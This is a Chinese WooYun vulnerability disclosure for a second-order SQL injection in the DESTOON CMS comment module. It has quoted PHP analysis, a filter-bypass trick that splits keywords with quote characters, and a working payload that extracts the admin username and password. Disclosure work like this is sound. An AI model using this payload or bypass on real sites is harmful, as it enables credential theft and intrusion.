当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129090

漏洞标题:DESTOON sql注入漏洞

相关厂商:DESTOON

漏洞作者: Noxxx

提交时间:2015-07-27 12:00

修复时间:2015-10-25 12:10

公开时间:2015-10-25 12:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-07-30: 细节向第三方安全合作伙伴开放
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

DESTOON sql注入漏洞

详细说明:

一枚二次注入,因为使用了dhtmlspecialchars导致防注入失效。可以任意数据。
先来看留言模块:
\module\extend\comment.inc.php

$item = $db->get_one("SELECT title,linkurl,username,status FROM ".get_table($mid)." WHERE itemid=$itemid"); //从数据库中取出对于模块的发布数据
$item or exit;
$item['status'] > 2 or exit;
$linkurl = $MODULE[$mid]['linkurl'].$item['linkurl'];
$template = $message = $forward = '';
$username = $item['username'];
$title = $item['title']; //看这里 我们这个标题是可以控制的 而且没有转义。 再看看下面 $title有没有被带入数据库中。
$could_del = false;


在这个文件的130行有这样一句

$db->query("INSERT INTO {$DT_PRE}comment (item_mid,item_id,item_title,item_username,content,quotation,qid,addtime,username,hidden,star,ip,status) VALUES ('$mid','$itemid','$title','$username','$content','$quotation','$qid','$DT_TIME','$_username','$hidden','$star','$DT_IP','$status')"); 看见没有 $title被带入数据库中。但是有一点.item_username 接着title的后面,这个用户名基本不可控制,但是如果他item_username 为空的话那就可以了,这个发布的东西是允许游客发送的 所以在游客状态下 item_username 就为空,后面的$content我们又刚好可以控制。所以导致了注入的发生。


接下来就是要绕过防注入了..
看这个文件的第95行导致防注入函数失效。
$content = dhtmlspecialchars(trim($content));

function dhtmlspecialchars($string) {
if(is_array($string)) {
return array_map('dhtmlspecialchars', $string);
} else {
if(defined('DT_ADMIN')) {
return str_replace(array('&'), array('&'), htmlspecialchars($string, ENT_QUOTES));
} else {
return str_replace(array('&', '"', '"', '"'), array('&', '', '', ''), htmlspecialchars($string, ENT_QUOTES));
}
}
}


看见没有 " " " 分别把这三个替换成空了的.
那我们直接提交 这个 SEL"ECT 即可无限制注射。首先得发布一个东西,名字写的正常一点就可以通过了。

漏洞证明:

发布一个东西,注意了 信息标题最后一个必须为 反斜杠才行。
不能在登录状态发东西,必须为游客状态
url
http://127.0.0.1:8081/php/destoon/member/my.php?mid=5

QQ截图20150724202540.png


通过之后 我们直接留言 exp:

,1,1,(SEL"ECT conc"at(username,0"x7c,password) FR"OM destoon_member WH"ERE admin=1 LIMIT 1),1,1,1,1,1,1,3)#


QQ截图20150724202711.png


QQ截图20150724202718.png

修复方案:

对数据进行处理,并且修改一下htmlspecialchars函数

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 12:09

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-27 12:02 | 玉林嘎 ( 普通白帽子 | Rank:778 漏洞数:98 )

    厉害 !!!

  2. 2015-07-27 12:07 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    必须看看!

  3. 2015-07-27 13:24 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    给师傅跪了